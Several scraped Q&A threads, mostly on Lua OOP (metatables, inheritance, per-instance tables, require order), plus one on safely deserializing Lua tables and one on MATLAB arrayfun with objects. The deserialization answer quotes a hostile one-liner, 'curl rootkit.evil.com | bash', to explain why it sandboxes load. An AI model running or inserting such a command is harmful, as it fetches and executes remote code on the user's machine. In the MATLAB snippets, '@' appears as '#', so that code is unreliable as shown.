I am trying to create a class in Lua, which holds information about who is this class following, and I also want followed class to know about his follower.
But my code fails, and I dont know why.
The error is
lua: OOP.lua:90: attempt to call method 'getName' (a nil value)
Vehicle = {}
--------
--FIELDS
--------
Vehicle.name = ""
Vehicle.vtype = "";
Vehicle.follower = {};
Vehicle.leader = {};
---------------------
--SETTERS AND GETTERS
---------------------
function Vehicle:setName(value)
self.name = value
end
function Vehicle:getName()
return self.name
end
function Vehicle:setType(value)
self.vtype = value
end
function Vehicle:getType()
return self.vtype
end
function Vehicle:setFollower(pVeh)
self.follower = {};
self.follower = pVeh;
end;
function Vehicle:getFollower()
return self.follower;
end;
function Vehicle:getLeader()
return self.leader;
end;
function Vehicle:setLeader(pVeh)
self.leader = pVeh;
if (self.leader ~= nil) then
print ("-- setted leader! --");
end;
end;
-----------
--METHODS--
-----------
function Vehicle:follow(pVeh) --> why does this not work?
self:setLeader(pVeh);
pVeh:setFollower(self);
end;
-- constructor
function newVehicle(pNm,pTp)
tbl = {}
setmetatable(tbl, {__index = Vehicle});
tbl:setName(pNm);
tbl:setType(pTp);
return tbl
end
-----------------------------------------------
-- TEST
-----------------------------------------------
local car1 = newVehicle("Mazda","Car");
local car2 = newVehicle("Harley","Bike");
print("--------------");
print (car1:getName()); --> prints "Mazda"
print (car2:getName()); --> prints "Harley"
car2:follow(car1)
print ("Leader of " .. car1:getName() .. " is " .. car1:getLeader():getName())
The problem is in your test code, from what I can see:
print ("Leader of " .. car1:getName() .. " is " .. car1:getLeader():getName())
car1 does not have a leader defined. (you did car2:follow(car1))
Some pointers:
You need to define field tables in the creation method. This won't apply to your code just yet, but say you wanted to do platoons. You'd do something like Vehicle.platoon = {}; Tank1.platoon[Tank2] = true -- This would add Tank2 to Vehicle's platoon table, and share it with every vehicle. If you define this in the new method: function newVehicle(...) tbl.platoon = {} ... end, then it would be unique to every vehicle.
Don't use accessor (get*, set*) methods unless you have a solid reason for using them. They add clutter, and are not good for performance. A good reason to use them would be if you are accessing a table in your accessor method, and want to simplify the interaction with that. (i.e Obj:addChild(Obj2) obj:hasChild(Obj2)) But then it probably doesn't qualify as an accessor anymore :)
You can use dummy objects for unset fields. This'll prevent errors like yours:
local Dummy = newVehicle("None", "None")
Vehicle.follower = Dummy
Vehicle.leader = Dummy
In your code, this produces:
--------------
Mazda
Harley
-- setted leader! --
Leader of Mazda is None
car2:follow(car1)
car1 is being followed by car2. Whereas, later; you're trying to access car1's leader, which, of course returns nil. Hence the error.
print( "Follower of "..car1:getName().." is "..car1:getFollower():getName() )
Related
I am building a game with enemies and players, all of which are set up to have various states for animation and behavior. The parent class for both is Entity.lua, from which they inherit variables and methods. However, while both enemies and players are inheriting the variables, for some reason the enemies do not inherit the methods. So, if I try to call snakey:changeState('search'), for example, it gives me an error message "Attempt to call method 'changeState' (a nil value)".
I have used the same sequence for creating entities in several games in the past and never had this problem. In fact, if I create the Player in the same way, file and location as the enemies, I receive no error messages.
Here is the code where I create the entities.
local snakey
snakey = Snakey {
platform = platform,
player1 = self.player1,
player2 = self.player2,
stateMachine = StateMachine {
['search'] = function() return SnakeySearchState(snakey) end,
['chasing'] = function() return SnakeyChasingState(snakey) end,
['idle'] = function() return SnakeyIdleState(snakey) end
}
}
-- snakey:changeState('search')
-- snakey.stateMachine:change('search', params)
table.insert(self.entities, snakey)
The two coded out lines are where I noticed the problem. The first line gives and error and the second does work, but is not satisfactory because it is a work-around.
Here is the code for Entity.lua: I don't include details of the functions for brevity, but all are working properly for when player calls them.
Entity = Class{}
function Entity:init(def)
-- position
self.x = def.x
self.y = def.y
self.gravity = 6
-- many more variables
end
function Entity:changeState(state, params)
self.stateMachine:change(state)
end
function Entity:update(dt)
self.stateMachine:update(dt)
end
function Entity:collides(entity)
-- do something
end
function Entity:onDamage()
-- do something
end
function Entity:render()
- renders sprite
end
Player code (in brief)
Player = Class{__includes = Entity}
function Player:init(def)
Entity.init(self, def)
-- more variables
end
function Player:update(dt)
Entity.update(self, dt)
end
function Player:render()
Entity.render(self)
end
And perhaps the trouble spot, one one enemy's script
Snakey = Class{__includes = Entity}
function Snakey:init(def)
Entity.init(self, def)
-- yet more variables
end
function Snakey:update(dt)
Entity.update(self, dt)
-- entity behavior (works fine, so omitted)
end
function Snakey:render()
Entity.render(self)
end
Thank you very much for your help. I'm feeling quite frustrated because this sequence has worked in the past and I would really like to know why it's not calling those Entity methods.
Adding the class library
--Copyright (c) 2010-2013 Matthias Richter
local function include_helper(to, from, seen)
if from == nil then
return to
elseif type(from) ~= 'table' then
return from
elseif seen[from] then
return seen[from]
end
seen[from] = to
for k,v in pairs(from) do
k = include_helper({}, k, seen) -- keys might also be tables
if to[k] == nil then
to[k] = include_helper({}, v, seen)
end
end
return to
end
-- deeply copies `other' into `class'. keys in `other' that are already
-- defined in `class' are omitted
local function include(class, other)
return include_helper(class, other, {})
end
-- returns a deep copy of `other'
local function clone(other)
return setmetatable(include({}, other), getmetatable(other))
end
local function new(class)
-- mixins
class = class or {} -- class can be nil
local inc = class.__includes or {}
if getmetatable(inc) then inc = {inc} end
for _, other in ipairs(inc) do
if type(other) == "string" then
other = _G[other]
end
include(class, other)
end
-- class implementation
class.__index = class
class.init = class.init or class[1] or function() end
class.include = class.include or include
class.clone = class.clone or clone
-- constructor call
return setmetatable(class, {__call = function(c, ...)
local o = setmetatable({}, c)
o:init(...)
return o
end})
end
-- interface for cross class-system compatibility (see https://github.com/bartbes/Class-Commons).
if class_commons ~= false and not common then
common = {}
function common.class(name, prototype, parent)
return new{__includes = {prototype, parent}}
end
function common.instance(class, ...)
return class(...)
end
end
-- the module
return setmetatable({new = new, include = include, clone = clone},
{__call = function(_,...) return new(...) end})
It turns out that sequence matters. In trying to create the minimum reproducible code I could not reproduce the error. After some searching (and a little frustration), I noticed that in Dependencies.lua I was requiring the enemies BEFORE Entity.lua, but Player.lua was required after. I would have thought this wouldn't matter, since everything was imported into the program on frame 1 and I was creating entities on something like frame 1000, but alas. Anyway, problem solved! Always require parent classes before child classes... Lesson learned. :)
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
I'm aware there are a few questions about implementing OOP in Lua on this site, however, this one is a bit different (at least compared to what I found).
I'm trying to create a class called "human", and make it so objects created with the "new" constructor of "human", inherit everything inside human except it's constructor. However, I also don't want to be able to use methods inside of human, on human. So whatever's inside the human class, is only passed to created objects. Here's an example:
-- "Human" class
human = {}
function human.new(name)
local new = {} -- New object
-- Metatable associated with the new object
local newMeta =
{
__index = function(t, k)
local v = human[k] -- Get the value from human
print("Key: ", k)
if type(v) == "function" then -- Takes care of methods
return function(_, ...)
return v(new, ...)
end
else
return v -- Otherwise return the value as it is
end
end
}
-- Defaults
new.Name = name
new.Age = 1
return setmetatable(new, newMeta)
end
-- Methods
function human:printName()
print(self.Name)
end
function human:setAge(new)
self.Age = new
end
-- Create new human called "bob"
-- This works as expected
local bob = human.new("Bob")
print(bob.Name) -- prints 'Bob'
bob:printName() -- prints 'Bob'
bob:setAge(10) -- sets the age to 10
print(bob.Age) -- prints '10'
-- But I don't want something like this allowed:
local other = bob.new("Mike") -- I don't want the constructor passed
-- I'd also like to prevent this from being allowed, for "human" is a class, not an object.
human:printName()
So creating the object with human.new("Bob") works fine, but it also passes the constructor, and I can still use the object methods on the class. I'm very new to the concept of OOP, so I'm sorry if this was a horrible question. But if anyone could help, I'd appreciate that.
I have run into the same issue before. You need two tables. One for object methods and one for class methods. Set the metatable of constructed objects to the object method table. For example:
local Class = {}
local Object = {}
Object.__index = Object
function Class.new()
return setmetatable({}, Object)
end
setmetatable(Class, {__call = Class.new})
function Object.do()
...
end
return Class
And use it
Class = require('Class')
local obj = Class.new() -- this is valid
obj.do() -- this is valid
obj.new() -- this is invalid
Class.do() -- this is invalid
There some problems with my OOP.
I have parent with clear table and child with same table.
When i'm trying to add object to table of child, object adds to parent's table.
Simple example:
Account = {}
Account.__index = Account
Account.kit = {}
function Account.create(balance)
local acnt = {} -- our new object
setmetatable(acnt,Account) -- make Account handle lookup
acnt.balance = balance -- initialize our object
return acnt
end
function Account:withdraw(amount)
self.balance = self.balance - amount
end
-- create and use an Account
acc = Account.create(1000)
acc:withdraw(100)
table.insert(acc.kit, "1")
print(#Account.kit)
print(#acc.kit)
Result is 1 and 1.
But must be 0 and 1.
How i can isolate child table from parent?
In Lua using acc.kit where acc is a table with the metatable Account will first search the key kit from the table acc and then from table Account.
In your code acc does not have anything with key kit, so the Account.kit will be accessed.
You can solve this simply by defining the kit table for the acc on creation
Account = {}
Account.__index = Account
Account.kit = {} -- You can now remove this if you do not use it - I preserved it to make the test prints to still work.
function Account.create(balance)
local acnt = {} -- our new object
setmetatable(acnt,Account) -- make Account handle lookup
acnt.balance = balance -- initialize our object
acnt.kit = {} -- define kit to be a subtable
return acnt
end
Example:
https://repl.it/B6P1
I'd recommend using closures to implement OOP:
local Animal = {}
function Animal.new(name)
local self = {}
self.name = name
function self.PrintName()
print("My name is " .. self.name)
end
return self
end
--now a class dog that will inherit from animal
local Dog = {}
function Dog.new(name)
-- to inherit from Animal, we create an instance of it
local self = Animal.new(name)
function self.Bark()
print(self.name .. " barked!")
end
return self
end
local fred = Dog.new("Fred")
fred.Bark()
fred.PrintName()
output:
Fred barked!
My name is Fred
I need to build an array of objects of class ID using arrayfun:
% ID.m
classdef ID < handle
properties
id
end
methods
function obj = ID(id)
obj.id = id;
end
end
end
But get an error:
>> ids = 1:5;
>> s = arrayfun(#(id) ID(id), ids)
??? Error using ==> arrayfun
ID output type is not currently implemented.
I can build it alternatively in a loop:
s = [];
for k = 1 : length(ids)
s = cat(1, s, ID(ids(k)));
end
but what is wrong with this usage of arrayfun?
Edit (clarification of the question): The question is not how to workaround the problem (there are several solutions), but why the simple syntax s = arrayfun(#(id) ID(id), ids); doesn't work. Thanks.
Perhaps the easiest is to use cellfun, or force arrayfun to return a cell array by setting the 'UniformOutput' option. Then you can convert this cell array to an array of obects (same as using cat above).
s = arrayfun(#(x) ID(x), ids, 'UniformOutput', false);
s = [s{:}];
You are asking arrayfun to do something it isn't built to do.
The output from arrayfun must be:
scalar values (numeric, logical, character, or structure) or cell
arrays.
Objects don't count as any of the scalar types, which is why the "workarounds" all involve using a cell array as the output. One thing to try is using cell2mat to convert the output to your desired form; it can be done in one line. (I haven't tested it though.)
s = cell2mat(arrayfun(#(id) ID(id), ids,'UniformOutput',false));
This is how I would create an array of objects:
s = ID.empty(0,5);
for i=5:-1:1
s(i) = ID(i);
end
It is always a good idea to provide a "default constructor" with no arguments, or at least use default values:
classdef ID < handle
properties
id
end
methods
function obj = ID(id)
if nargin<1, id = 0; end
obj.id = id;
end
end
end